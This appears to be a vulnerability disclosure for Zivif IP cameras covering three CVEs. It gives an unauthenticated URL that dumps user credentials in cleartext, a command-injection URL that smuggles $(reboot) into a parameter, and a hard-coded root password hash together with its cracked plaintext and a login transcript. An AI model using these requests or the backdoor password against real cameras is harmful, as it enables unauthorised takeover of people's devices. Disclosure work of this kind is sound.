Implementation of access controls is Zivif cameras is severely lacking.As a result, CGI functions can be called directly, bypassing authentication checks.This was first identified with the following request (CVE-2017-17106)`http://<Camera Address>/web/cgi-bin/hi3510/param.cgi?cmd=getuser`Cameras respond to this with:“`var name0="admin"; var password0="admin"; var authLevel0="255"; varname1="guest"; var password1="guest"; var authLevel1="3"; varname2="admin2"; var password2="admin"; var authLevel2="3"; var name3="";var password3=""; var authLevel3="3"; var name4=""; var password4="";var authLevel4="3"; var name5=""; var password5=""; var authLevel5="3";var name6=""; var password6=""; var authLevel6="3"; var name7=""; varpassword7=""; var authLevel7="3"; var name8=""; var password8=""; varauthLevel8="0"; var name9=""; var password9=""; var authLevel9="0“`Credentials are returned in cleartext to the requester.In exploring, unauthenticated remote command injection is possible using(CVE-2017-17105)`http://<CameraIP>/cgi-bin/iptest.cgi?cmd=iptest.cgi&-time="1504225666237"&-url=$(reboot)`Command results are not returned, however are executed by the system.One last findings was the /etc/passwd file contains the following hard-coded entry (CVE-2017-17107):“`root:$1$xFoO/s3I$zRQPwLG2yX1biU31a2wxN/:0:0::/root:/bin/sh“`The encrypted password is `cat1029`.“`(none) login: rootPassword:Login incorrect(none) login: rootPassword:Welcome to SONIX.\u@\h:\W$“`Because of the way the file system is structured, changing this password requires more work then running passwd.